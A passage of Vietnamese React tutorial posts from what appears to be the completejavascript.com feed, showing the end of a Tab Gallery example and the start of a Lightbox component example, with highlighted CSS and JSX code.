class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.App, .App *</span> <span class="token punctuation">{</span> <span class="token property">box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-moz-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-webkit-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.App</span> <span class="token punctuation">{</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">max-width</span><span class="token punctuation">:</span> 780px<span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 15px<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #222<span class="token punctuation">;</span> <span class="token property">font</span><span class="token punctuation">:</span> normal normal normal 1rem/1.6 Nunito Sans<span class="token punctuation">,</span> Helvetica<span class="token punctuation">,</span> Arial<span class="token punctuation">,</span> sans-serif<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">./src/App.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./App.css"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> TabGallery <span class="token keyword">from</span> <span class="token string">"./components/tab-gallery/tab-gallery"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img11 <span class="token keyword">from</span> <span class="token string">"./images/11.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img12 <span class="token keyword">from</span> <span class="token string">"./images/12.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img13 <span class="token keyword">from</span> <span class="token string">"./images/13.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> collection <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img11<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption eleven"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img12<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption twelve"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img13<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption thirteen"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">App</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>App<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text">Tab Gallery</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token plain-text">Click on each image below to show the corresponding image.</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">TabGallery</span></span> <span class="token attr-name">input</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>collection<span class="token punctuation">}</span></span> <span class="token attr-name">ratio</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">3:2</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> Made by </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://about.phamvanlam.com/<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text">Lam Pham</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text">. Visit me at </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>/<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text">completejavascript.com</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text">. </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đó, Tab Gallery Component có các thuộc tính là:</p> <ul> <li><strong>input (<a href="/array-la-gi-array-trong-javascript/">Array</a>):</strong> mảng chứa thông tin các ảnh, với mỗi phần tử là một <a href="/object-la-gi-object-trong-javascript/">object </a>gồm <em>src</em> – đường dẫn ảnh và <em>caption</em> – tiêu đề ảnh.</li> <li><strong>ratio (<a href="/kieu-du-lieu-trong-javascript/">String</a>):</strong> string biểu diễn tỉ lệ <strong>width : height</strong>, ví dụ là "3:2". Chú ý là chiều rộng, mình luôn luôn để 100% nên mình chỉ cần truyền vào tỉ lệ này là OK.</li> </ul> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là kết quả sau khi mình học React qua ví dụ #5 – Tab Gallery. Nếu bạn thấy hay thì có thể thực hành làm thử và tùy biến theo ý thích của bạn.</p> <a href="https://about.phamvanlam.com/learn-react-by-example/#/tab-gallery/" class="btn btn-primary margin-bottom"> Xem Demo </a> <p>Sắp tới mình sẽ tiếp tục chia sẻ với bạn các bài thực hành của mình. Nếu bạn thấy hay hoặc muốn tìm hiểu về <strong>LOẠI COMPONENT</strong> nào thì có thể để lại bình luận phía dưới nhé!</p> <p>Còn bây giờ thì xin chào và hẹn gặp lại, thân ái!</p>[email protected]<![CDATA[Học React qua ví dụ #4: Lightbox]]><![CDATA[Xin chào bạn đến với Học React qua ví dụ #4. Bài viết này mình sẽ thực hành React thông qua cách tạo Lightbox. Trong đó, Lightbox chính là sự kết hợp giữa Slideshow Gallery và…]]>https://completejavascript.com/hoc-react-qua-vi-du-4-lightbox/https://completejavascript.com/hoc-react-qua-vi-du-4-lightbox/<![CDATA[Create-react-app]]><![CDATA[React Component]]>Wed, 07 Nov 2018 22:30:49 GMT<p>Xin chào bạn đến với Học React qua ví dụ #4. Bài viết này mình sẽ thực hành React thông qua cách tạo Lightbox. Trong đó, Lightbox chính là sự kết hợp giữa <a href="/hoc-react-qua-vi-du-2-slideshow-gallery/">Slideshow Gallery</a> và <a href="/hoc-react-qua-vi-du-3-modal-image/">Modal Image</a>.</p> <p>Cụ thể là: thay vì click vào 1 ảnh nhỏ để hiển thị 1 ảnh lớn (giống Modal Image) thì mình sẽ hiển thị 1 Slideshow Gallery. Để dễ hiểu hơn, mời bạn theo dõi <strong>demo</strong>:</p> <a href="https://about.phamvanlam.com/learn-react-by-example/#/lightbox/" class="btn btn-primary margin-bottom"> Xem Demo Lightbox </a> <p>Trong ví dụ trên, ban đầu mình để demo 3 bức ảnh nhỏ. Và khi bạn click vào mỗi bức ảnh thì một <strong>Slideshow Gallery</strong> ứng với 3 bức ảnh đó sẽ được hiển thị lên theo kiểu giống <strong>Modal Image</strong>.</p> <p>Và vì Lightbox kế thừa ý tưởng từ Modal Image, nên nếu bạn đã theo dõi bài viết về Modal Image rồi thì bài này sẽ rất đơn giản.</p> <p>Bạn chỉ cần triển khai tương tự như Modal Image, rồi trong phần nội dung của Modal, mình không đưa vào một phần tử <strong><a href="/co-ban-ve-dom-javascript/">DOM</a></strong> chứa ảnh nữa, mà thay vào đó là một <strong>Slideshow Gallery Component</strong>.</p> <p>Chi tiết thế nào, mời bạn theo dõi bài viết!</p> <blockquote> <p><strong>Bạn chú ý:</strong> Trong series <a href="/tag/react-component/">học React qua ví dụ</a> này, mình sẽ thực hành xây dựng các Component trên cùng một Project. Vì vậy, sẽ có những phần mình lặp lại trong các bài viết. Mục đích của mình là dù bạn có bắt đầu đọc từ bài nào (bài số 1 hay bài số N) thì bạn cũng có thể làm theo được.</p> </blockquote> <h2 id="khởi-tạo-project" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-project" aria-label="khởi tạo project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Project</h2> <p>Trong bài học này, mình vẫn khuyến khích bạn sử dụng <a href="/tag/create-react-app/">Create-react-app</a> để thực hành học React qua ví dụ #4 ngay trên máy tính của mình.</p> <p>Để tạo mới một project React với Creat-react-app, bạn có thể tham khảo thêm bài viết: <a href="/deploy-ung-dung-react-len-github-pages/">Tạo và deploy ứng dụng React lên Github Pages</a>.</p> <h2 id="cấu-trúc-project" style="position:relative;"><a href="#c%E1%BA%A5u-tr%C3%BAc-project" aria-label="cấu trúc project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cấu trúc Project</h2> <p>Đầu tiên, bạn tạo ra các thư mục và file như sau (bạn chỉ cần quan tâm tới thư mục <strong>/src</strong>):</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">learn-react-by-example/ --src/ ----components/ ------lightbox/ --------lightbox.css --------lightbox.js ----images/ ----App.css ----App.js ----index.css ----index.js ----serviceWorker.js</code></pre></div> <p>Trong đó:</p> <ul> <li>Thư mục <strong>components</strong>: để chứa code của các Component. Bài này mình thực hành về <strong>Lightbox</strong> nên mình tạo thêm thư mục <strong>lightbox</strong> bên trong với 2 file <strong>lightbox.js</strong> và <strong>lightbox.css</strong> để định nghĩa cho component <strong>Lightbox</strong> (bài viết sau thực hành về cái khác thì mình sẽ tạo thêm thư mục vào bên trong <strong>components</strong> như này).</li> <li>Thư mục <strong>images</strong>: để chứa tất cả những <a href="/web-tai-anh-mien-phi-chat-luong-cao/">ảnh</a> mình sử dụng cho Demo.</li> <li>Các file <strong>App.css</strong> và <strong>App.js</strong> dùng để demo chính. Bên trong <strong>App.js</strong> mình sẽ sử dụng component <strong>Lightbox</strong> ở trên.</li> <li>Các file <strong>index.css</strong>, <strong>index.js</strong> và <strong>serviceWorker.js</strong> thì <strong>KHÔNG THAY ĐỔI</strong> với mọi bài thực hành.</li> </ul> <h2 id="xây-dựng-lightbox-component" style="position:relative;"><a href="#x%C3%A2y-d%E1%BB%B1ng-lightbox-component" aria-label="xây dựng lightbox component permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xây dựng Lightbox Component</h2> <h3 id="nội-dung-file-lightboxjs" style="position:relative;"><a href="#n%E1%BB%99i-dung-file-lightboxjs" aria-label="nội dung file lightboxjs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nội dung file lightbox.js</h3> <p>Trong phần này bạn cần phải chú ý đến một số kiến thức như:</p> <ul> <li><a href="/tim-hieu-react-component-lifecycle/">React Component Lifecycle</a></li> <li><a href="/xu-ly-mot-event-javascript-co-ban/">Đăng ký và hủy bỏ event</a> (<strong><em>resize</em></strong>).</li> </ul> <p>Và ý tưởng chung để xây dựng Lightbox Component là:</p> <ul> <li>Một tuyển tập các ảnh có kích thước nhỏ để hiển thị ban đầu.</li> <li>Một Slideshow Gallery gồm các ảnh phiên bản lớn, ứng với các ảnh nhỏ. Ban đầu, mình để Slideshow Gallery này ẩn đi. Khi người dùng click vào ảnh nhỏ thì sẽ hiển thị Slideshow Gallery lên, với ảnh đang active tương ứng.</li> </ul> <p>Về nội dung chi tiết mình sẽ giải thích trong phần comment code dưới đây. Bạn chịu khó đọc nhé! Có phần nào chưa hiểu thì có thể để lại bình luận phía dưới.</p> <div class="gatsby-code-title gatsby-remark-code-title">lightbox.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> ReactDOM <span class="token keyword">from</span> <span class="token string">"react-dom"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./lightbox.css"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> SlideshowGallery <span class="token keyword">from</span> <span class="token string">"../slideshow-gallery/slideshow-gallery"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">LightBox</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">props</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">(</span>props<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Tạo reference ứng với Slideshow Gallery</span> <span class="token keyword">this</span><span class="token punctuation">.</span>slideshowGallery <span class="token operator">=</span> React<span class="token punctuation">.</span><span class="token function">createRef</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* * Khi sử dụng, mình sẽ truyền thuộc tính ratio, giả sử là "3:2" * Như vậy, tỉ lệ width/height là this.ratioWH = 3 / 2 * Mình sẽ điều chỉnh các ảnh sao cho về cùng 1 kích thước. */</span> <span class="token keyword">const</span> ratioWHArray <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>ratio<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">":"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>ratioWH <span class="token operator">=</span> ratioWHArray<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">/</span> ratioWHArray<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateDimensions <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateDimensions</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>showModal <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">showModal</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>hideModal <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">hideModal</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hiển thị Slideshow Gallery như Modal * bằng cách set giá trị cho thuộc tính visibility của style, * của phần tử đóng vai trò là Modal là "visible" để hiển thị nó * * Ngoài ra, khi hiển thị Slidshow Gallery lên, * mình phải gọi phương thức setSlideIndex() * để xác định ảnh nào đang được active */</span> <span class="token function">showModal</span><span class="token punctuation">(</span><span class="token parameter">index</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>slideshowGallery<span class="token punctuation">.</span>current<span class="token punctuation">.</span><span class="token function">setSlideIndex</span><span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>modalElm<span class="token punctuation">.</span>style<span class="token punctuation">.</span>visibility <span class="token operator">=</span> <span class="token string">"visible"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Ẩn phần tử Slideshow Gallery đi bằng cách set giá trị * cho thuộc tính visibility của style, * của phần tử đóng vai trò là Modal Image là "hidden", * để ẩn nó đi */</span> <span class="token function">hideModal</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>modalElm<span class="token punctuation">.</span>style<span class="token punctuation">.</span>visibility <span class="token operator">=</span> <span class="token string">"hidden"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * Cập nhật chiều cao cho mỗi ảnh khi thay đổi kích thước màn hình * Trong phần CSS, mình để mỗi ảnh có width = 100%, * Nên dù kéo to hay thu nhỏ thì width vẫn bằng 100% kích thước parent. * Nhưng chiều cao là giá trị tuyệt đối nên phải tính lại, * dựa vào width và tỉ lệ this.ratioWH = width / height * * Ngoài ra, số lượng ảnh ban đầu là this.props.input.length * chứ không phải 1 ảnh nên mình phải chia cho this.props.input.length */</span> <span class="token function">updateDimensions</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> height <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>containerElm<span class="token punctuation">.</span>offsetWidth <span class="token operator">/</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>input<span class="token punctuation">.</span>length <span class="token operator">/</span> <span class="token keyword">this</span><span class="token punctuation">.</span>ratioWH<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>containerElm<span class="token punctuation">.</span>style<span class="token punctuation">.</span>height <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>height<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hàm này được gọi khi Lightbox đã render lên HTML. * Trong này mình sẽ lưu lại DOM node ứng với các phần tử * + this.rootElm -> toàn bộ component * + this.containerElm -> container chứa các ảnh phiên bản nhỏ, * + this.modalElm -> chứa thành phần là modal - slideshow gallery * * Tiếp theo, gọi hàm this.updateDimensions() để cập nhật chiều cao * cho ảnh nhỏ ban đầu. * * Và cuối cùng là đăng ký sự kiên resize màn hình, với hàm xử lý * là updateDimensions(). Tức là mỗi khi thay đổi kích thước màn hình * thì sẽ tính lại chiều cao. */</span> <span class="token function">componentDidMount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>rootElm <span class="token operator">=</span> ReactDOM<span class="token punctuation">.</span><span class="token function">findDOMNode</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>containerElm <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>rootElm<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".container"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>modalElm <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>rootElm<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".modal"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateDimensions</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"resize"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateDimensions<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hàm này được gọi khi Component bị xóa khỏi HTML. * Lúc này mình phải hủy bỏ sự kiện đã đăng ký lúc trước. */</span> <span class="token function">componentWillUnmount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> window<span class="token punctuation">.</span><span class="token function">removeEventListener</span><span class="token punctuation">(</span><span class="token string">"resize"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateDimensions<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Chú ý: thành phần bên trong phần Modal bây giờ không chỉ * là một ảnh như Modal Image. * * Mà trong đó, mình truyền vào Slideshow Gallery Component */</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>lp-lightbox<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>container<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>input<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">image<span class="token punctuation">,</span> index</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">key</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>index<span class="token punctuation">}</span></span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>image-wrapper<span class="token punctuation">"</span></span> <span class="token attr-name">style</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token punctuation">{</span> <span class="token literal-property property">width</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token punctuation">(</span><span class="token number">1</span> <span class="token operator">/</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>input<span class="token punctuation">.</span>length<span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">100</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">%</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">height</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">100%</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">}</span></span> <span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>img</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>image<span class="token punctuation">"</span></span> <span class="token attr-name">src</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>image<span class="token punctuation">.</span>src<span class="token punctuation">}</span></span> <span class="token attr-name">alt</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>image<span class="token punctuation">.</span>caption<span class="token punctuation">}</span></span> <span class="token attr-name">onClick</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">showModal</span><span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>modal<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>close<span class="token punctuation">"</span></span> <span class="token attr-name">onClick</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token 